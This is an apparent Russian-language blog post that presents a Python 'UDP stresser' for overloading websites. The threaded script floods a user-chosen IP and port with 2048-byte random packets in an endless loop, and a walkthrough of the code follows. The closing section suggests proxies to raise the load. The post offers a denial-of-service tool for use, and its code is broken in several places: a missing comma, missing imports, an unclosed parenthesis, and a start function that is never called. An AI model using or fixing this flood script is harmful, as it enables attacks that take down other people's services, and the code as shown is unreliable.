Эффективный UDP-стрессер на сокетах

в 0:12, , рубрики: python

Недавно я загорелся энтузиазмом, сделать что-то «грандиозное», как и следовало ожидать, большинство посоветовало мне сделать уроки, и тут я вспомнил, что изучал сокеты и мгновенно мне в голову пришла мысль написать стрессер сайтов. Оставим лишнюю информацию и наконец перейдём к разработке.

Теоретическая часть

Стрессер будет построен на UDP-запросах, а это значит что мы будем посылать короткие запросы большого объёма. Защититься от такой атаки довольно легко, достаточно ограничить кол-во обращений к портам.

Практика

От теории переходим к практике. Будем формировать массивные запросы состоящие 2048 символов.

import socket, random, threading
def start (ip port, threads):
 try:
  for x in range(threads):
   udp_thread = UDPThread()
   udp_thread.start()
   time.sleep(.1)
 except(KeyboardInterrupt):
   os.system('cls' if os.name == 'nt' else 'clear')

class UDPThread(threading.Thread):
 def run (self):
  data = random._urandom(2048)
  while True:
   sock = socket.socket(
   socket.AF_INET, socket.SOCK_DGRAM)
   sock.sendto(data, (ip, int(port)))
   print("Запущена атака на: {ip}:{port}".format(ip, port)

if __name__ == "__main__":
 ip = input("IP: ")
 port = input("Port: ")
 threads = input("Threads: ")

Давайте разберёмся в коде.

Ну тут думаю всё понятно, мы просто создаем потоки.

def start (ip port, threads):
 try:
  for x in range(threads):
   udp_thread = UDPThread()
   udp_thread.start()
   time.sleep(.1)
 except(KeyboardInterrupt):
   os.system('cls' if os.name == 'nt' else 'clear')

Используем модуль рандом, чтобы сгенерировать очень большой запрос.

data = random._urandom(2048)

С помощью сокетов, отправляем запросы на нужный IP-адрес и порт.

sock.sendto(data, (ip, int(port)))

Вывод

Как мы видем, написать стрессер не сложно, если использовать прокси, то запросов будет гораздо больше, соответственно и нагрузка выше.

Всем хорошего настроения и до свидания!

Автор: pull

Источник

Поделиться

* - обязательные к заполнению поля